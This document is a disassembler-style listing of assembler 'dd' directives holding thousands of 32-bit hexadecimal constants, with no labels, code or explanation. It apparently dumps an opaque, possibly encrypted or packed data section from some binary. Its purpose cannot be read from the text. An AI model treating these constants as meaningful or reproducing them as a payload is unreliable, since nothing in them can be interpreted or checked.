dd 2C770D46h, 300C5826h, 92026ADBh, 0CDE9CE89h, 1CAA7DF5h
dd 26654957h, 5529680Eh, 62D784AAh, 0BEF75F04h, 666D03C2h
dd 0EF819D5Dh, 0F865417Bh, 0DCB4CF28h, 9FC83E80h, 90C531E5h
dd 311B4100h, 9506B61h, 15D25AD3h, 0B0B6795Bh, 67572226h
dd 6801623Bh, 0EA26082Ah, 48DE6A09h, 7C6FDB3Ch, 338AC1C3h
dd 2856E712h, 0EE8C0B78h, 0C25A02DDh, 0B06444Ah, 541076F7h
dd 1D5EF780h, 0F3EC2BDEh, 597E9212h, 0CD16561Eh, 852A83CDh
dd 0F8108287h, 0C78A9CDCh, 2028C04Dh, 0DB1E1E4Ah, 3A020917h
dd 0FC789B68h, 545E652Eh, 1F02C2E5h, 0F77C837Dh, 9368E060h
dd 0F1CC524Fh, 5DCA407Ah, 0BDDF3097h, 453205A2h, 0F0C5E930h
dd 4E75B39Bh, 0B0FDD84Ch, 74986866h, 0DFDB174h, 0D94B2754h
dd 73153881h, 5DE8311Ch, 0ED66C3DDh, 5BABC10Bh, 0F357932Ch
dd 5FF818FAh, 8156AB44h, 80BF3158h, 0AD055CC5h, 0BC7AD017h
dd 50AE16BDh, 312F9F74h, 0E6C0E981h, 933B7105h, 1527A16h
dd 5C1707CFh, 0E95A0480h, 28CBB822h, 4B26D3ADh, 7EACB10Fh
dd 13ABA430h, 5E0D7EEFh, 5A150BA2h, 0EE40E14Ch, 733460B3h
dd 7A2D6DCDh, 0C5616F76h, 219084F4h, 53508A41h, 5156CF42h
dd 0B1758B5Ch, 4E69C590h, 0E541FB28h, 0E13E80C0h, 0A312C1Dh
dd 1FA3E9FEh, 885980C5h, 0F6805BDEh, 0C6138D73h, 0EF095354h
dd 0E711E85Eh, 10DF1460h, 0A8179B31h, 0E3F3F5F3h, 9E3BBD9Ch
dd 0C59DAAAAh, 6375A4B2h, 0F7354FE3h, 0A7A4DECDh, 90EBF259h
dd 796924Ah, 0E26469B9h, 479A278h, 83895153h, 26FB59EAh
dd 9F474889h, 4142D77h, 0B29DED76h, 35FED96Bh, 6D210D0Eh
dd 6A600E7h, 0A767E75h, 3C2C67Ah, 51713D68h, 50C48D5Fh
dd 7476210h, 70490566h, 4BE5A9D3h, 8327C434h, 9FA81B7Fh
dd 0CE0901F3h, 0D096E959h, 0F8303BB0h, 84376EAEh, 0AAC1215Ch
dd 12C44A22h, 2B026561h, 0D660F28Bh, 25E168B4h, 0E9D21895h
dd 0F2354F38h, 98A42218h, 280B0164h, 526658C3h, 0F3BAD3B6h
dd 80C21AF4h, 9D40C0C3h, 6C6D9548h, 0D5B85C93h, 0BEE634A7h
dd 3881A86Dh, 0BC6F3ABDh, 154E216Bh, 51430F86h, 81F020F6h
dd 65240BE7h, 0EF078922h, 1C6044CAh, 0B2FD83E9h, 4FA1B88Bh
dd 0D3F135E8h, 2CCCAFDh, 0FE675568h, 9FE6766h, 56510256h
dd 18DA5D5Dh, 0ECB40CE9h, 0E3E872Ch, 0C403F180h, 1DC407E1h
dd 2DEAFFD4h, 83D2078h, 32832496h, 0B0707316h, 221CDC9h
dd 51566E12h, 270DDE9h, 0B417CFDEh, 3BFCB952h, 6FB3B7B4h
dd 0AF1F6473h, 43AD5891h, 3567A207h, 5A6A19D5h, 5D256808h
dd 3A2F181Bh, 0F00E4A0Ch, 0A05D459h, 0EBE9484Eh, 2C808AE0h
dd 3C4B3ACEh, 0D90345C1h, 0A8E6F8D9h, 0CA011CC7h, 93B00A7Bh
dd 0EAE9C045h, 7B7AE693h, 9DA8C688h, 5CA68ECDh, 3D668200h
dd 97F20151h, 94C4F4Ch, 0B1F78001h, 0BF5D6F43h, 0CA833189h
dd 4C9A4B7Ah, 0E901DC74h, 5CC2B1CFh, 13F21E3Bh, 0B9D1B0E7h
dd 0E026109h, 24C4FE40h, 9407E47Ah, 0B027F8F0h, 4949619Bh
dd 0E105FD74h, 0C0A343BFh, 2394F102h, 0FD4FC328h, 4539C209h
dd 0D8090169h, 0E700210h, 0B8915Fh, 16075BC2h, 0D058310Dh
dd 207F581Eh, 24CA038h, 0B1434D68h, 0E921984Fh, 66B5D1ECh
dd 4E361931h, 32EF843Dh, 2AE90968h, 0B5DC818h, 0ACD001Dh
dd 6858C631h, 2DAA1B66h, 0A18C717Eh, 1C6F9BDh, 1D2D1C44h
dd 0F85EF229h, 32D6308Eh, 0F2032EF0h, 255E9463h, 5D0CAE82h
dd 0C276A63h, 0E98B4804h, 0ADEE6E65h, 5BC2FCD3h, 8D044F52h
dd 34BF49B6h, 12378BB0h, 758032E9h, 0E4C38853h, 0B75B75DAh
dd 0D004FB2Bh, 2727BE25h, 0F1224182h, 56FAA5D9h, 51D9D727h
dd 89DD9EB8h, 187057D4h, 0E8C630E6h, 777F4397h, 7FE35E7h
dd 58BAA20Eh, 240D21B9h, 5B324B88h, 1F824480h, 0FFA04296h
dd 0F2C437Eh, 0EE420E22h, 7AD74C20h, 0F137355Fh, 4885AC9Ch
dd 614C269Ah, 0F815864h, 24BBB7EFh, 5947B04Fh, 6B2C4600h
dd 4835E281h, 0E9671626h, 2B8BA176h, 0BEF5BA39h, 0B70DA804h
dd 54526168h, 0C8293B5Ah, 8B3265F2h, 2681E8C1h, 741E68C8h
dd 0D04BE944h, 0D5824184h, 0C3522745h, 535C1318h, 2214E25h
dd 5C022772h, 698C167Dh, 567C6E33h, 7091DAC9h, 0C94055B9h
dd 8821E742h, 4130FB2Eh, 0E658E630h, 9FB8BFF0h, 24B2440Fh
dd 9FB87E49h, 0A6CEA74Ah, 2711F781h, 48217E53h, 4AC6950h
dd 0B3C8D3E7h, 0F7B60F8Eh, 840D8A68h, 48126289h, 0C4ADCB5Dh
dd 0F8CE293Ah, 0A8ED9336h, 1A2A7B98h, 4C620594h, 99945954h
dd 2E582131h, 9EB1180h, 51C93B63h, 0ECBEC302h, 0C3F897AEh
dd 0D2E96839h, 0C3642527h, 66F8814Ah, 0B36C1FAh, 807FBD02h
dd 814D4C57h, 7F9102F5h, 0EF295ABBh, 5CF5341h, 512724BCh
dd 46A53CF3h, 25683F0Eh, 9573BD4h, 33E95651h, 0B30BE2D8h
dd 87C3FE11h, 0F333E045h, 0D4F1FB20h, 4067BDCBh, 0B2AAF254h
dd 642F76D6h, 0B38F5007h, 3D8BB272h, 6DBC7A2Ch, 0BD4E8093h
dd 9B650487h, 9FEDF5Bh, 0F356553Bh, 44945F72h, 5C60A8BCh
dd 58C8AF0Fh, 641A6251h, 7848A9A5h, 430D331Bh, 1054016Ah
dd 0C4844F1h, 5DE9E25Ah, 6587FCDh, 19662F10h, 45FE32B3h
dd 0FE3F8540h, 0B0E3F0CBh, 0EA4A2617h, 0C9C89D59h, 0E89146E1h
dd 73BC803Eh, 0DE439B25h, 97EA51h, 0D32D16Ch, 1CC842C3h
dd 3800E2EAh, 0B72D7C82h, 0BE6B453Fh, 0E3681ADDh, 9881AEDCh
dd 2949773Ch, 0A0912DEh, 0C1697C12h, 0FC80804Dh, 0E9A39D95h
dd 889B503h, 52168771h, 8C4910A2h, 0A8D8E984h, 305B0941h
dd 41A0D9E8h, 6C591568h, 80C2C055h, 9669EE2h, 0C852E953h
dd 0E18218CEh, 5050FCE4h, 0A44095CFh, 1071BFh, 0E7815E53h
dd 3CB742CBh, 9D09C7ECh, 0DCEC8932h, 0B9E90446h, 0BA6D94F4h
dd 651EB801h, 486D27A6h, 61025289h, 6801B3FDh, 0DB886054h
dd 5A173770h, 9229C78Ch, 0A75FB90Fh, 6805F0F3h, 66EC4251h
dd 0AD6562CFh, 6233E803h, 9B0079Ch, 9D0106F6h, 8943A708h
dd 387B5B65h, 48F931CDh, 0DC8B0295h, 0A61154EFh, 88199535h
dd 769A9B8Dh, 41033497h, 0ED246E83h, 2A9045ABh, 7B84A75Bh
dd 0D9C461FAh, 92A856E1h, 1985B8A0h, 0E925340Bh, 8808609Dh
dd 135B58DCh, 0D4A8A613h, 20EC118Bh, 0D60BE9C2h, 5DEFDAA1h
dd 81EE2031h, 3C2FE503h
dd 0B5C123C6h, 399603BEh, 1E765836h, 0CB61EA01h, 26BEE90Ch
dd 64F6202Ah, 8B08966h, 0B8A3762Ah, 4D4B71ECh, 7E61C7DDh
dd 6FB72089h, 8D124A85h, 0B2D802D5h, 55A59A5Dh, 36BCCABCh
dd 0B582796Bh, 5323AF95h, 0F795022Ch, 1C783DFh, 0FD2509E0h
dd 0C42F7782h, 22F8D52Bh, 0B03CB2BFh, 973EB30Dh, 6875844Eh
dd 0FC211B64h, 1F4AC1D3h, 84432DB6h, 0A2DAF739h, 18CA9487h
dd 0BB121CF4h, 0E46812C3h, 0EA00065h, 2941A836h, 35F371F7h
dd 0E62A2CB1h, 0D368374Ah, 78FA8D83h, 0B227D220h, 608F3402h
dd 7097BDE0h, 0E9291375h, 0F66CC073h, 0CDB080D6h, 53A5D8E7h
dd 2C4AB301h, 4D82821h, 0F05341D2h, 80E3A470h, 0D3E4DA30h
dd 8D2F634h, 0BF0B0812h, 1B4E1041h, 0F6DE5B28h, 2387139Ch
dd 0D6CB94A8h, 58BB3620h, 8E1FDE9Fh, 0AD17D931h, 4D66E347h
dd 2DEDF029h, 6BFA292Bh, 1C566F20h, 0CF16E780h, 0F06BD3CFh
dd 6866E1A0h, 0BBF207F2h, 0FD8835C6h, 4314D38Bh, 0E1F280C6h
dd 0C0EAC299h, 0CBA05AD0h, 0DB9E44FBh, 8022684Bh, 698D9407h
dd 0EEF91F78h, 92603D8h, 0C20096F2h, 0BF24A399h, 0F5899F31h
dd 290AD752h, 0C2657839h, 3D0C8500h, 9BEA313Eh, 60CA2071h
dd 0AFEB9DCBh, 8DF4E328h, 349D04Dh, 0D4170FEFh, 6B08DA1Fh
dd 73EA83BCh, 0F40A4BF0h, 9616B480h, 9D05F480h, 0CCBA278h
dd 89C12427h, 5C8652FAh, 0D22C69E0h, 35C76495h, 0E1DDFD7Bh
dd 122F20FFh, 9F908292h, 9BBB5301h, 4B49847Dh, 7393C82Eh
dd 0C41AD1ECh, 0C3A543E9h, 0BBDBC694h, 988A09Fh, 598D0A47h
dd 0ED4CEED0h, 147C1214h, 0A20492EDh, 0A85E9F7Fh, 0C73E16B2h
dd 0F141C3B5h, 3379A13Bh, 0C5162C09h, 0E5ACB4F8h, 1E4F6874h
dd 15621D8h, 0F96646BEh, 2C9AE97Dh, 9E9C5CCAh, 0B2F2418Ah
dd 285AF384h, 0B0EB6C80h, 0B2521751h, 0E90637A2h, 3A8A6807h
dd 5BF2639h, 0D468E9FBh, 488A825Dh, 0C610D76Bh, 355CA0E0h
dd 0AC31E44Eh, 26680244h, 6C873AA5h, 79BCC940h, 0EB607B27h
dd 2BBEBCC9h, 48E361C5h, 4902C25Eh, 0CEBD7768h, 42D60D0Fh
dd 5C5D6909h, 0ED500042h, 0FABA5272h, 474A6813h, 489F2B00h
dd 2FE9E70Bh, 7E1CAB2Dh, 0FE358703h, 0F0D5F707h, 1B17D8EDh
dd 124D1926h, 0F60523Bh, 12312324h, 0F8EC5004h, 4CB2B800h
dd 48716E3Bh, 0DF6D2D00h, 0C131458Bh, 0A3E91558h, 4358FBD3h
dd 0AFE07B31h, 64300219h, 0AB3555F7h, 17FB2374h, 267B2C63h
dd 0A8BC828h, 58082409h, 205AF25Dh, 87391F5Fh, 0F9EE27F2h
dd 163410D7h, 0E5D8FB01h, 80A7127h, 4B0DE941h, 1D5D1228h
dd 0B1D9467h, 30CDCAE9h, 5F1768CDh, 5440224Ah, 0CD36D60h
dd 8CB6ECA6h, 4E5DC5CCh, 39F72C5Bh, 0ECA3B74Eh, 18EE5B2Fh
dd 69A20C44h, 5C288B9Fh, 0CF183AAAh, 0B4C20A0Ch, 34C9D94Bh
dd 5825172Dh, 0BDB4BC96h, 5F60E950h, 6816704Eh, 43B93601h
dd 0C0005192h, 15347D7Fh, 0B3B720E9h, 2A612A0h, 8CC154ECh
dd 7B8801CDh, 6E6F2E84h, 412AAC3h, 8DF76B20h, 7B1E1F09h
dd 51670947h, 0B7BDD4A1h, 861E6508h, 610ACDD6h, 9C51F0Ah
dd 1835661Bh, 0BF51206h, 3E28694Ch, 83B81850h, 67A4250Eh
dd 0E6D0425Dh, 4A0C1240h, 0E1E3E972h, 48897F5Bh, 843B2B5Eh
dd 31479305h, 96FCEDC7h, 0A6D259A2h, 0EAB71859h, 1B40E1CFh
dd 54117D5Ch, 3DF450E7h, 0A05E8CE9h, 5C0738F3h, 0D27FB050h
dd 298030B8h, 1D4C4406h, 0DF021397h, 6D155430h, 0A1894BD4h
dd 165F33ABh, 56C9E1EBh, 123A5EE1h, 0A4E5B809h, 56DAAE80h
dd 806B5063h, 8C879425h, 77C71D86h, 7DBF9E40h, 748306AEh
dd 8F59CF31h, 8102E71Ch, 0EA04C8CEh, 3102DD69h, 625D925Eh
dd 0D4A089D7h, 0F9F587BDh, 894F623Fh, 2D2D96D7h, 0B045F201h
dd 0F841490h, 51B083C8h, 4E39D12h, 285BA4F7h, 7F49E96Bh
dd 625938A2h, 9AF4594h, 8267680h, 829D2D9Dh, 0D54DCF2Dh
dd 0A54C6691h, 3F245639h, 0F99DF196h, 0E7B19330h, 710E212Eh
dd 96A2281Ah, 1FF22C24h, 0D405568Bh, 6804A130h, 9C68A1FAh
dd 0DED94BA5h, 0B5E1F069h, 0BFC572C5h, 9F411252h, 1C976CDFh
dd 0F17C1A3Dh, 144B0C49h, 0FB74E918h, 662E572Ch, 0AE972C5Ah
dd 7CBBFE0Bh, 3FED89A6h, 3CC40476h, 0AD383BCh, 0AD6B5B9Ch
dd 350CCBFBh, 1C2A923h, 212E1C44h, 2FD1095Fh, 56BBD824h
dd 0FEFD07B0h, 78F049C5h, 439E8B98h, 22C8BA01h, 0D6745DBBh
dd 4F63FC55h, 1046E3ABh, 5825349Fh, 0FAA24971h, 0BDCF6F20h
dd 0C250BC05h, 5A00FC22h, 2EA814Ah, 23F4CB63h, 8872D701h
dd 0C468A2B0h, 3E279F26h, 3F28B9Eh, 0E8BD174Ch, 0E610016Ch
dd 593F602Bh, 3F30F277h, 0F12E10F7h, 0B50820AEh, 6D02A6E1h
dd 0F660B4Eh, 549610A3h, 7095AA29h, 1FA8B1D0h, 892FE093h
dd 0F2D3A3C3h, 0AD2D1C55h, 71BADE52h, 2D828CCh, 95005D5Bh
dd 12A32778h, 68075777h, 52973339h, 2F66E9F1h, 0E9D32E33h
dd 8FAE803Ch, 25E97842h, 0C7C8E7DCh, 0C001C08h, 54CE8179h
dd 0B7581519h, 200127E0h, 0BF316797h, 0EDC50F92h, 0DE1F9685h
dd 15B9708h, 706E39BFh, 0F1A3C20h, 6B29902Dh, 0D1BD0349h
dd 517ADA2Eh, 345164Ch, 0A3E3F20h, 66048E76h, 18A0DF5h
dd 0E91CB6A9h, 4854E603h, 511B02DEh, 5DC11D44h, 0CEC52E7Fh
dd 2EF769BFh, 0C37A95C1h, 0D8FE2894h, 129BC786h, 0B9315C68h
dd 27AE5414h, 0F7201C1h, 0AA70C8B7h, 14DC82A1h, 291D9126h
dd 4016153h, 1EB573D8h, 0B51B9F70h, 582882CCh, 5B263710h
dd 0F596120Eh, 0B55AFC8Ah, 0C5CA394Dh, 0F0E67EAFh, 0CE76625Ah
dd 0E7EED185h, 63914EB0h, 83001F53h, 14B702C2h, 38B5A1DCh
dd 0F6C6416Fh, 34697C5Eh, 1A1F3010h, 0EB01233Bh, 5CB27327h
dd 1690E3D8h, 0C76A3D14h, 33B381F8h, 4A00C27Bh, 0E4433112h
dd 14E924DEh, 0BA2C89E0h, 0BC096D09h, 151E0D4h, 59FE9248h
dd 3276CB9Ah, 0F02144A9h, 0A7073140h, 9589CEBFh, 3F6030EEh
dd 6851ADEFh, 8C034E83h, 0E3414A47h, 2B738D3Bh, 0EC4E6463h
dd 4044A9C8h, 0F7728827h, 0F35BF927h, 0DA7008B0h, 206CF027h
dd 5A69F2B6h, 1F665C5Fh, 0D5945A87h, 231C9500h, 0D3F60E9Bh
dd 0DA574158h, 0D823C1A3h, 59E9C5D8h, 0E75F8069h, 8AE98669h
dd 52590929h, 4D505153h, 38259F81h, 0C051A2B0h, 0D25A5F7Eh
dd 4B85871Dh, 0A53F5661h, 2683CDABh, 0EDD012C4h, 2C979E86h
dd 9F277B26h, 234DC7A6h, 1BB780B5h, 3FAD8291h, 2225EF31h
dd 5C16E389h, 0A696F3FCh, 5CF1627h, 3039A5B9h, 762F817Bh
dd 0F0067453h, 375A63B0h, 5E232828h, 0E90F9844h, 3332D62Fh
dd 50D8D215h, 78525A09h, 0E9275194h, 69538967h, 1D2F2C33h
dd 3E7C12Ch, 0E84DEF80h, 0F85A28D5h, 40E97A67h, 0BD21584Dh
dd 25F29160h, 0CAC51B97h, 26145F9Bh, 33E7EB5Eh, 0BE63404Bh
dd 46FE7D5Eh, 6AEDF2F2h, 4A07DE18h, 0E9D217F7h, 56D1AC0Ch
dd 6055077h, 22FCCAB7h, 4993E82h, 6BAAB15Eh, 22989CFh
dd 0A2669846h, 40972BBCh, 0C340FEDDh, 2870F714h, 69011F1Fh
dd 10FBB2B9h, 1D5F06C3h, 0DC8356F0h, 84D9AD5Eh, 29486861h
dd 4B11DA2Ah, 0EC83BFDDh, 199BE66h, 45AC961Eh, 0BCF7290Ah
dd 94868013h, 0F2D04A12h, 5C665940h, 0F068C26Ch, 79C3663Dh
dd 0B760457h, 825F11AAh, 0A2693A08h, 0F70D7450h, 1A0AD169h
dd 0CF4840E8h, 16E98048h, 8A71A35Eh, 0D0F6B353h, 0ECE32FF6h
dd 20EBBF82h, 7E2AA3E1h
dd 628B9BD8h, 0CD01BFDDh, 0A0BC4E3h, 81565DEAh, 5A46828h
dd 80D54D20h, 0B29A1CF6h, 0B6984C20h, 0EB444F9Fh, 8108DA1h
dd 0F1400386h, 0E72A05BFh, 8357F825h, 84FC19E3h, 3EA0B27Ch
dd 0CBFA858h, 80820997h, 0F3208FFEh, 0FFE92F3Ch, 0F7539883h
dd 112F8A79h, 168BE62Dh, 4745D4Bh, 0F64E59A4h, 8A0E27D4h
dd 0E8DBCBDDh, 54CCCAh, 0B85035EEh, 7CDE2E5Fh, 0EF370500h
dd 0C229FB1Ah, 0CAE91358h, 674B45Ah, 8858A785h, 51BB9025h
dd 0FBFC096h, 364BFB05h, 55EFC246h, 0EC5879BEh, 9A12C003h
dd 0E910836Dh, 1484C24Dh, 10DDB753h, 0B603B28Ah, 0F5C680F1h
dd 0C8945C87h, 73A2594Ah, 97773375h, 70E8C185h, 89586DD5h
dd 0F30102F9h, 0FC6A685Eh, 0DA058CF2h, 1E05C32Dh, 15E5940h
dd 8D110BAh, 0C4E45D24h, 866CF353h, 3F793BE9h, 585CDD29h
dd 9D51FC7Ah, 3D2A7620h, 312670BAh, 1310E5F9h, 7A1EF24Fh
dd 6651DC2Dh, 0E91055A6h, 4F0B302Fh, 415F4568h, 0CC6C430h
dd 6B144CBFh, 1A6D070Fh, 6399E906h, 2D4AF390h, 0D10BCB2h
dd 1A5E2D39h, 0CEB15F0Eh, 882D6B05h, 2AD2053Eh, 7665BE10h
dd 5201A4A3h, 0DA722EBAh, 83C2EE50h, 6393281h, 41C73AD1h
dd 31986059h, 0E1084B96h, 0DD4E7BF1h, 0BE05707Ch, 0C08C6A04h
dd 380E6D3h, 0D130581Dh, 614C19Eh, 7E3949ADh, 9FF0DDE8h
dd 0B88C8097h, 0EA45DA9h, 0C1E8D169h, 0E6350740h, 163B834Eh
dd 0CA880448h, 0A4AC5F2Fh, 0E9505E05h, 5F93D768h, 4A5A962Bh
dd 92702400h, 0DD8F761h, 0E62518D2h, 0E9480E7Fh, 0A417CF2Ah
dd 0C7C68104h, 0BB814C69h, 0EF115127h, 0D3D83B02h, 5542409Ah
dd 90BE59Ch, 5C240BCDh, 5DE90E06h, 0BE257A7Eh, 2A5F8D41h
dd 0B1EF014Fh, 0D800C60h, 0E9124B66h, 0FBA2A928h, 8D25326h
dd 800BDB56h, 0FE9307C7h, 901648A2h, 2423C4E8h, 36C317Fh
dd 6ADD269Fh, 0E8280C75h, 285AA77Ah, 4FEB384h, 1395CE1Fh
dd 42FB6B0Eh, 0D8565BDEh, 599C02F6h, 0F9E97651h, 71DA024Bh
dd 0C9483C4h, 0DC56D209h, 29B45368h, 0C5B4422Ch, 72BA2DE1h
dd 9AB10D5h, 6A7ABD02h, 9BE01657h, 545048B4h, 504AECD3h
dd 977C6ECAh, 2353E48Bh, 59524648h, 34712FBDh, 5CB4F393h
dd 4027411Eh, 93196A82h, 0BEB81202h, 7C670660h, 2A0D0113h
dd 201F5B1Eh, 3792EB16h, 50C2B69Ch, 3E1D4468h, 0E9880158h
dd 5B1F3418h, 51A5A39Ch, 35FC8045h, 0CB814C8Eh, 701F0B0Bh
dd 9E0F407Dh, 3C0592CCh, 9C24A5E1h, 7EBD8574h, 0AA3DC40Bh
dd 98816423h, 503E5987h, 35C7A20Eh, 0A8805370h, 2FC63BFAh
dd 13A0D389h, 65BF4421h, 52909A8h, 40BEF85Fh, 0C605F04Eh
dd 6F25EE22h, 0BE0C795Eh, 14318606h, 2D51266Ch, 3A2F0907h
dd 533D1929h, 892AB292h, 6166F654h, 2B6CA968h, 134C8D8Ch
dd 14782A21h, 0F600AB23h, 77CD5279h, 0EFF1DEF7h, 200810C0h
dd 3F76EEFCh, 0F3823BB6h, 0FB075550h, 0D8BEB6E9h, 0DF2D1080h
dd 4DED7E17h, 0FA1A08h, 0B558E788h, 0FD7C309Ch, 0D0901A5Fh
dd 0EFC872F1h, 40600960h, 0BFA04528h, 1273F7DCh, 27EF0125h
dd 9E1A5772h, 0D479E383h, 0A04ED20Ah, 28E2BBB6h, 0AE0360C7h
dd 2F212A14h, 5FFB0907h, 998935E9h, 708BB5DAh, 0AC56B01Eh
dd 5BDF8Bh, 7643AD52h, 9D81B888h, 0CD808001h, 0D99230AFh
dd 4CB527BAh, 4EBFF8DCh, 113F4B93h, 3305D320h, 8B58BB89h
dd 68C844CDh, 0C9712900h, 0B9515A57h, 420F174Fh, 41540875h
dd 5B01FCA6h, 0CA31D494h, 4FFFCF2Ah, 0D3C980B2h, 205D7529h
dd 2704F198h, 5880428h, 0C1163630h, 422DC8B1h, 0C7595907h
dd 3904DBEh, 0E566D9BDh, 5406D743h, 4EB19714h, 0BBF18147h
dd 340E2BB3h, 311DC23Ah, 2EF08648h, 0EA2D36C5h, 550830Bh
dd 716059Ch, 5A81BFE2h, 2A66C331h, 0C21744A0h, 4FAC6861h
dd 0B1629EF4h, 3A80DDE6h, 0E9E130F7h, 0F8C5944Fh, 47504CA3h
dd 0DA311211h, 466B0751h, 88D3987h, 3B724008h, 0EBB81128h
dd 2CC2772Eh, 161CBCBAh, 41A84A6Bh, 0EADAF192h, 0CAF6227Dh
dd 0FD7C0B92h, 62FE2964h, 40405135h, 0A31E3A41h, 2881B945h
dd 42E9FB56h, 0F24E9438h, 3968E02Ch, 50CC9F41h, 0A7256A38h
dd 0B64AF029h, 2776870Fh, 6C086F1Eh, 0DD02591Eh, 765C011Bh
dd 340C68E5h, 0F91C2428h, 19908462h, 0B82874AAh, 0B7E9F1EFh
dd 4B577824h, 2CFA368h, 0D245F3EDh, 3C28F76Bh, 0BAE92508h
dd 982FAD9Ch, 97DE4D28h, 940A0164h, 0D47EA014h, 24B0051Dh
dd 95D831ADh, 0E9423E5Bh, 130D7EA8h, 0B263FCADh, 2DDE7C36h
dd 59D2DD9Ah, 9829949Fh, 0B3055A35h, 47B2013Bh, 0C2833CC9h
dd 68E2A881h, 0DB12C606h, 0F3A243CBh, 8AD8007Fh, 0F913517Dh
dd 0C3635DFEh, 6595B0C5h, 0A28F2962h, 542D991h, 0A4BB0F66h
dd 4FBC436Ah, 9FFBF125h, 2A66095Ch, 279057EEh, 6E1985Fh
dd 0ED3B0D7Bh, 3559313Fh, 7BCD3F5Fh, 0AE9CA802h, 52F5C1B5h
dd 0C822B18h, 933D0688h, 336A9B81h, 0CF01DCD8h, 881BAB8h
dd 0E9994859h, 0F942BC2Fh, 2097282Eh, 0BF31336Eh, 0FA899F1Ch
dd 0EC20A20h, 2A8D2851h, 2254EAC0h, 17F4648h, 68081CD0h
dd 0BF2C141Ch, 0BAEF6027h, 3D76091Bh, 85E0B9E9h, 0AB700459h
dd 5E2CD03Ah, 5CCAD4B2h, 0FD2999AFh, 0ADD9C758h, 0C95A39EFh
dd 12291459h, 0C49FE952h, 8145E98Eh, 0D9FD63EFh, 4128E9F4h
dd 0EB1E3009h, 4A60594h, 0FF21F08h, 0A2F3FD88h, 0B2DE6067h
dd 4A16DD22h, 0E9958C5Eh, 48BE4127h, 0B46D8A9Bh, 908BE2B4h
dd 0AA40F614h, 6905F4F5h, 0F056DE80h, 0E92FEBDCh, 5D210959h
dd 1FEA8F9Bh, 5B855E19h, 0AC39C680h, 3ECD231h, 1C472182h
dd 1E48F272h, 5BDE848Ch, 0B8EE4CB0h, 0BAF604A2h, 0E12CDFD2h
dd 1A967E37h, 0F3C97B1Eh, 24780C6Ah, 0D3092D75h, 78C7CAD6h
dd 0A0C0A031h, 398039Fh, 4E59CE21h, 798EDC04h, 0E2826295h
dd 0E68902C2h, 6A85FC60h, 66677A37h, 5AE90D2Ch, 5FD60902h
dd 7CE1C881h, 223E8B17h, 88A2104Ch, 1C842C2Bh, 27CB02FDh
dd 10DF6CE0h, 265214D7h, 323932E8h, 22575BF9h, 0D93EEABBh
dd 720A822Fh, 95D0BE7h, 0A0C29393h, 60AB62D0h, 4E720C1Bh
dd 50971FA5h, 0BC1A0EA3h, 0BAA52289h, 0D921BC13h, 0B8F05265h
dd 0B59D7F59h, 8ADF5C42h, 0C602F6E0h, 0FD37FA06h, 0F791E581h
dd 565BCFD0h, 92759E88h, 463BBF41h, 0AE5473EAh, 1BC2813h
dd 82EB80B0h, 0E539E916h, 752F9FB9h, 58C68EC8h, 0DFE1214Fh
dd 5B382A6Ah, 96CD0581h, 91D7DE79h, 1193254h, 0EC3CDAE9h
dd 0E17F0BDEh, 2509F54h, 8CE98033h, 0DEE4BD48h, 7E267909h
dd 8FA1627Bh, 40E01349h, 0A760E29Ah, 22C55A50h, 0A5589F00h
dd 0EC235005h, 908DB844h, 0D80882DBh, 0F7EB370Dh, 80EEF444h
dd 9084FAAh, 6A0C4E69h, 0F0AE4078h, 0E1515E5Eh, 4BCC3A2Dh
dd 10AE606Ch, 391725B8h, 212D111Ah, 84E26A0Bh, 75ACB6E0h
dd 0C4BEA892h, 8003212Fh, 0D9C2ECC5h, 303F9050h, 0F183B0FAh
dd 13DBF75Ah, 0E807EBC1h, 8FB01E1h, 0BF68E988h, 5E58A474h
dd 27C38B6Ah, 0BFE10293h, 362941D7h, 0A82FC4E8h, 4C33F9F6h
dd 0EF4C8E11h, 0C6381604h, 26E7001Bh, 16421205h, 4AA263E9h
dd 3C855B35h, 22A7EFAFh, 0F1812049h, 0BC73E6Fh, 50CBBE7Fh
dd 0EE12C3D9h, 29F14A2Eh, 0C010B9C6h, 0C151FD58h, 0BD00F4D3h
dd 612E1F01h, 0A3022E71h, 7D637408h, 2E5E000h, 235BC03Eh
dd 0D747C7A1h, 50DB61C9h
dd 0B772B773h, 0E98962E5h, 5FEC400Ch, 0D3F73993h, 0C0E14AFAh
dd 7C17BE67h, 0DA97DF50h, 0CB40B1BCh, 805D1D3Ah, 53300322h
dd 6AF51814h, 816B4F06h, 3440A891h, 5112F636h, 0CD043F1Ch
dd 31BE0C0Dh, 18D9FD1h, 0CE315E66h, 18052CE1h, 15611008h
dd 0C707AA9Fh, 0AECDBA0Bh, 0E27CC971h, 2579FC4Dh, 13BF91D9h
dd 79D01D47h, 405C23D2h, 3F283178h, 0F37B97F7h, 0BCD543Eh
dd 0FE0EB3E9h, 0EDDE419Ah, 8ED5E652h, 16D66BF0h, 81FB90B1h
dd 7240139Fh, 7B5A6E87h, 30495D3Fh, 0DF306775h, 0CB09FEB1h
dd 9F20FE70h, 0F5C8A0ACh, 0AB0618C7h, 0E75B7A37h, 6D79B24h
dd 0A964530Eh, 4C01216h, 58AD5D08h, 0E4E3681Eh, 0D1C4696Eh
dd 0AF54BA98h, 0C70CF6D8h, 0C6F172Bh, 0CE9017B6h, 8EC710B5h
dd 4C651204h, 0D1F1F6Eh, 51E92FC5h, 986D13BEh, 440CE17Bh
dd 4A4625FBh, 0CB282E20h, 0B3E601FEh, 0BB072331h, 187FBA1Ah
dd 1F6053F4h, 9D4F711Ah, 0F53148E0h, 0B70FE912h, 68C29AB8h
dd 484806FEh, 6D99E663h, 54565884h, 50090BF3h, 0DD29F1E9h
dd 182E802h, 8970E95Ch, 6C18B5EEh, 0A8BA5657h, 276CBB3Eh
dd 81A57021h, 11608907h, 4FCC985Eh, 0C91C300Fh, 60E16F73h
dd 0E97606F3h, 853EBB9Ch, 64AE1514h, 4AE04BC0h, 295D25DCh
dd 804B8C2h, 0EB2CBE5Eh, 0B4DB97EAh, 8F8078ACh, 0E95A2047h
dd 89094B8Ah, 94774258h, 0C1997E0Bh, 0FCF9F766h, 1ECCB9AEh
dd 41DA2F09h, 0A4F02AA0h, 937A9721h, 273EA4Ch, 0D089F1F5h
dd 2666555Ah, 2EC91290h, 1C09703Eh, 803C2BB9h, 5CC98136h
dd 6B1CA242h, 6D56841h, 0FC48191h, 0F600D3Ch, 108609E6h
dd 0B4E27DD1h, 67683BC2h, 5B5BD989h, 0B48D2BF4h, 0CE6E2598h
dd 0E61CA29Fh, 0F480012Fh, 65B5E137h, 0B3C33EF1h, 9E45F08h
dd 2C225821h, 5F04C0B4h, 18A5D2AFh, 0BA07745Eh, 35950969h
